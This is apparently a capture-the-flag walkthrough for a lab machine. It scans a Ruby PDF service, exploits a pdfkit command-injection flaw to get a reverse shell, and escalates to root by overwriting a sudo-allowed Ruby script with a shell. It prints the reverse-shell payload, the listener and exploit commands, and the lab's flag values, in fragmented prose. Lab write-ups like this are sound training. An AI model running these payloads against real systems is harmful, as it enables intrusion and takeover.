

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.166.22 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.166.22:22
Open 192.168.166.22:3000

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
3000/tcp  open  http    syn-ack WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-07-07))
|_ http-methods:
|_   Supported Methods: GET HEAD
|_ http-server-header: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)
|_ http-title: Ruby
Dome HTML to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` Search[edb-51293] (https://www.exploit-db.com/exploits/51293)
```

```
(kali㉿kali)-[~/pgplay]
└─$ searchsploit -m 51293
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001
```

```
(kali㉿kali)-[~/pgplay]
└─$ python3 51293.py -s 192.168.45.244 9001 -w http://192.168.166.22:3000/pdf -p url
```

UNICORD: Exploit for CVE-2022-25765 (pdfkit) - Command Injection

OPTIONS: Reverse Shell Sent to Target Website Mode

PAYLOAD: `http://%20ruby -rsocket -e'spawn("sh",[:in,:out,:err]>TCPSocket.new("192.168.45.244","9001"))'`

LOCALIP: 192.168.45.244:9001

WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 9001".

WEBSITE: `http://192.168.166.22:3000/pdf`

POSTARG: url

EXPLOIT: Payload sent to website!

SUCCESS: Exploit performed action.

``` wait for reverse shell,/home/andrewobtainlocal.txt

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
andrew@rubydome:~$ cat local.txt
300a8662b196e5c140902a7bc85bde77
``` Check`sudo -l`,`app.rb`canuseroot
```

andrew@rubydome:~/app\$ sudo -l

Matching Defaults entries for andrew on rubydome:

env\_reset, mail\_badpass,

secure\_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,

use\_pty

User andrew may run the following commands on rubydome:

(ALL) NOPASSWD: /usr/bin/ruby /home/andrew/app/app.rb

``` Firstapp.rb,Refer toGTFOBins(<https://gtfobins.github.io/gtfobins/ruby/#shell>),can getroot

```
andrew@rubydome:~/app$ mv app.rb app_1.rb
andrew@rubydome:~/app$ echo 'exec "/bin/sh"' > app.rb
andrew@rubydome:~/app$ cat app.rb
exec "/bin/sh"

andrew@rubydome:~/app$ sudo /usr/bin/ruby /home/andrew/app/app.rb
sudo /usr/bin/ruby /home/andrew/app/app.rb
# whoami
root
``` /rootpathcan getproof.txt
```

## cat proof.txt

cat proof.txt

0eda9a2dd704fa77b041416914710985

---